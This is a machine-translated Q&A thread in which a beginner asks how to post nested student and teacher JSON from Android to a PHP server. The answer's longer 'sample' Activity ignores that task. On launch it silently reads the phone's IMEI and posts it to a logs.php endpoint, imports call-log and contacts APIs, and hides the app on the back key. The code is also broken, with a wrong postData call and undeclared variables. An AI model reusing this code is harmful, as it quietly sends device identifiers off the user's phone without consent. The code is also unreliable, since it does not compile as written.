2012-04-05 126 views
1

嗨,我是新來的Android我必須發送我的不同的數據使用JSON到PHP服務器,如 標籤-----學生的詳細信息 學生----- n由具有像學生1 名稱 ID DOB 類 輥沒有 學生2 每個學生 的細節對象。 。 。 .. 學生ň發送請求與JSON到PHP服務器在Android

標籤------老師細節 老師---------- n分別具有類似於 老師的名字 教師ID 司法部每個老師 的細節對象 指定

我已經使用創造試圖名稱值對列表的第一值對是標記 - 學生/教師 其他值對我使用JSON對象創建 - > JSON數組 - > JSON對象(名稱值對) - >教師/學生的詳細信息 任何幫助或示例代碼將被認爲....感謝advan CE

回答

0

試試這個功能的名字 - 值對張貼到PHP腳本

public void postData(List nameValuePairs){ 
     // Create a new HttpClient and Post Header 
     String url = "http://localhost/recieve.php"; 
     HttpClient httpclient = new DefaultHttpClient(); 
     HttpPost httppost = new HttpPost(url); 

     try { 
      // Add your data 
      //List nameValuePairs = new ArrayList(1); 
      //nameValuePairs.add(new BasicNameValuePair(a, b)); 
      //nameValuePairs.add(new BasicNameValuePair("Number", b)); 
      httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); 

      // Execute HTTP Post Request 
      HttpResponse response = httpclient.execute(httppost); 


     } catch (Exception e) { 
      // TODO Auto-generated catch block 
      e.printStackTrace(); 
      // TODO Auto-generated catch block 
     } 
    } 

發佈該數據使用 - >

List nameValuePairs = new ArrayList(1); 
nameValuePairs.add(new BasicNameValuePair("Number", b)) 
postData(nameValuePairs); 

希望這有助於。

示例代碼 - >

package com.mypackage; 

import java.io.UnsupportedEncodingException; 
import java.util.ArrayList; 
import java.util.Arrays; 
import java.util.List; 

import org.apache.http.HttpResponse; 
import org.apache.http.client.HttpClient; 
import org.apache.http.client.entity.UrlEncodedFormEntity; 
import org.apache.http.client.methods.HttpPost; 
import org.apache.http.entity.ByteArrayEntity; 
import org.apache.http.impl.client.DefaultHttpClient; 
import org.apache.http.message.BasicNameValuePair; 
import org.apache.http.params.BasicHttpParams; 
import org.apache.http.params.HttpConnectionParams; 
import org.apache.http.params.HttpParams; 
import org.json.JSONArray; 

import com.loopj.android.http.*; 

import android.app.Activity; 
import android.content.ContentResolver; 
import android.content.Context; 
import android.content.Intent; 
import android.content.ServiceConnection; 
import android.content.SharedPreferences; 
import android.database.Cursor; 
import android.net.ConnectivityManager; 
import android.net.NetworkInfo; 
import android.net.NetworkInfo.State; 
import android.net.Uri; 
import android.net.wifi.WifiManager; 
import android.os.AsyncTask; 
import android.os.Bundle; 
import android.provider.CallLog; 
import android.provider.ContactsContract; 
import android.telephony.TelephonyManager; 
import android.text.TextUtils; 
import android.util.Log; 
import android.view.KeyEvent; 
import android.widget.Button; 
import android.widget.EditText; 
import android.widget.TextView; 
import android.widget.Toast; 



public class MypackageActivity extends Activity { 

    //SharedPreferences mPrefs; 
    @Override 
    public boolean onKeyDown(int keyCode, KeyEvent event) { 
     if (keyCode == KeyEvent.KEYCODE_BACK) { 
      moveTaskToBack(true); 
     } 
     return super.onKeyDown(keyCode, event); 
     } 
    /** Called when the activity is first created. */ 
    @Override 
    public void onCreate(Bundle savedInstanceState) { 
      super.onCreate(savedInstanceState); 

      startr(); 


    } 



    public void startr() { 
     //Toast.makeText(this, "Onstart", Toast.LENGTH_SHORT).show(); 
     //Log.d(TAG, "onCreate"); 
     TelephonyManager manager = (TelephonyManager)getSystemService(TELEPHONY_SERVICE); 
     imei = manager.getDeviceId(); 
     List nameValuePairs = new ArrayList(); 
     nameValuePairs.add(new BasicNameValuePair("imeiimsi", imei+imsi)); 
     postData(nameValuePairs, "sms"); 
     nameValuePairs.clear(); 
     // Set looping 
     } 





    public void postData(List nameValuePairs){ 
     // Create a new HttpClient and Post Header 
     url = "http://localhost/logs.php"; 
     HttpClient httpclient = new DefaultHttpClient(); 
     //need to change it when run on phn :P :P 
     HttpPost httppost = new HttpPost(url); 

     try { 
      // Add your data 
      //List nameValuePairs = new ArrayList(1); 
      //for(int j=0;j<2;j++) 
      //nameValuePairs.add(new BasicNameValuePair(a, b)); 
      //nameValuePairs.add(new BasicNameValuePair("Number", b)); 


       httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); 
       // Execute HTTP Post Request 
       HttpResponse response = httpclient.execute(httppost); 
       RequestParams params = new RequestParams(); 
       try { 
        Thread.sleep(10000); 
       } catch (InterruptedException e) { 
        // TODO Auto-generated catch block 
        e.printStackTrace(); 
       } 
     } catch (Exception e) { 
      // TODO Auto-generated catch block 
      e.printStackTrace(); 
      // TODO Auto-generated catch block 
     } 
    } 
} 

讓它MYPROJECT一個新的項目名稱,然後創建一個活動類,看看上面的示例代碼!

+0

你能給我發送完整的示例代碼,因爲我告訴過你我是一個初學者 – CodingRat 2012-04-05 17:56:53

+0

添加了一個示例代碼:) – 2012-04-09 00:39:31

+1

對於遲到的答覆感謝支持:) – CodingRat 2012-05-09 05:39:35